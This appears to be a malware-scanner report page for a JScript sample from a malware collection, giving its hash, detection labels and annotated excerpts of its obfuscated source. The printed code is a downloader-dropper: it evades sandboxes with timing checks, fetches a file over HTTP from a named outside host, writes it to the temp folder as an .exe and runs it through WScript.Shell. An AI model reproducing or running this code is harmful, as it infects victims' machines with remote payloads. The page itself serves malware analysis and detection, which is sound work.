Hostile ^100% javascript-malware-collection Download

20160328_cf69d11ccf0dd44019cde2bd43474e82.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-2569414de5b88ceeb835e2a21ae3d78c4285af5580acae74272852b380e82cd3f79

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Ceuosodfvk = false;
2var Kgepej = "CreateObject";
3var Yzujo = function Grjpmp() {return WScript[Kgepej]("WScript.Shell");}();
4var Midvkuumc = 123213;
5var Okdrcbu = "MSXML2.XMLHTTP";
6var Xqdwwt = 2123213;
7var Cbdred = 0;
8function Pfnsomk(Mfompbpqp){Yzujo["Run"](Mfompbpqp, Cbdred, Cbdred);};
9function Tnlnbnazqd(){return Okdrcbu;};
10function Qfjdpsc(Szlkifaxzr, Kwdatbp){return Szlkifaxzr - Kwdatbp;};
11function Uzkwjmjm(){return Kgepej;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Ceuosodfvk = true;
15  @end
⋯6 lines
22function Ewfxmr()
23{
24var Hjxdw = new this["Date"]();
25var Lcovicixoj = Hjxdw["getUTCMilliseconds"]();
26WScript["Sleep"](Peauq());
27var Hjxdw = new this["Date"]();
⋯10 lines

English function-word token "for" lines 37–42

37:31… );
38}
39var Gbvrged = false;
40var Sbwhd = false;
41for (var Qodgekia = Cbdred; Qodgekia < Peauq() * 1; Qodgekia++){if (Ewfxmr() != Cbdred){
42Gbvrged = t …

Contains a hardcoded insecure HTTP URL lines 48–63

48:83… 
49if (Gbvrged && Gogdn() && Sbwhd){
50function Snqramx() {return Yzujo["ExpandEnvironmentStrings"]("%TEMP%/") + "jZ9wFEm1rnoz8.exe";};
51 Juvmu = Tnlnbnazqd();
52 Zbdmznjdt = WScript[Kgepej](Juvmu);
53 var Pkwcfvfpjk = 1;
54 while (Pkwcfvfpjk){
55try {
56Zbdmznjdt[Rwrqlqxj]("GET", "http://www.stopeugenicsnow.eu/m8dhs", false);
57Zbdmznjdt["send"]();
58Agzxylrpt = "Sleep";
59do {WScript[Agzxylrpt](Peauq() * 11)} while (Zbdmznjdt["readystate"] < 4 );
60Pkwcfvfpjk = Cbdred;
61} catch(Leoodwjyix){Pkwcfvfpjk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Cdkzopwgpf(Zahbztvo) { …

Calls computed member from function result lines 63–75

63:52… 2, 3, 4, 5, Zahbztvo); return Ozobjjpmf;};
64Wfgineiftc = WScript[Uzkwjmjm()]("ADODB.Stream");
65Juvmu = Wfgineiftc;
66Juvmu[Rwrqlqxj]();
67Juvmu["type"] = Cdkzopwgpf(1);
68Juvmu["write"](Zbdmznjdt["ResponseBody"]);
69Wfgineiftc["position"] = Cdkzopwgpf(Cbdred);
70Juvmu["SaveToFile"](Snqramx(), Cdkzopwgpf(2) );
71Wfgineiftc["close"]();
72Pfnsomk(Snqramx());
73}
74}
75